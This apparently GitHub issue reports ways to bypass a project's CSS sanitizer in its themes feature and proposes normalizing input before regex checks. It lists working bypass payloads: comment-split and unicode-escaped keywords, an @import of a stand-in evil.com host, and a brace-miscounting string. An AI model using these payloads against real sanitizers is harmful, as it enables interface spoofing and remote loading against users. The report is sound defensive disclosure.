Skip to content

themes: CSS sanitizer bypass via comments and unicode escapes #35

Open

Description

@wayback09

themes: CSS sanitizer bypass via comments and unicode escapes

Context

pkg/theme/protected.go:54-60,77-104,111-221 — one-pass regex + substring checks, no normalization.

Bypasses (tested via SanitizeCSS on feature/themes)

  • ex/**/pression(1), @/**/import url('https://evil.com'), pointer-/**/events:none — comment breaks literal the regex expects.
  • \65xp\72ession, \63ontent:, \69mport, pointer\2devents\3a none — no \XXXX decode, so (?i)expression, contentDecl, importRuleRe all miss.
  • sanitizeRules:132-142 depth counter ignores " strings → .win-btn{content:"}"}.win-btn{display:none} miscounts braces.

Impact

@import remote fetch, content: "Fake Aether" on non-logo selector (e.g. .sidebar::after), and html body {pointer-events:none} all survive.

Fix

Normalize before any regex: strip /*…*/, decode \XXXX escapes, collapse whitespace. Add bypass tests to sanitize_test.go.

  • Files: pkg/theme/protected.go:77 (SanitizeCSS), pkg/theme/sanitize_test.go:3-56

Refs: PR #34 00ec26e feature/themes — keep main clean.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions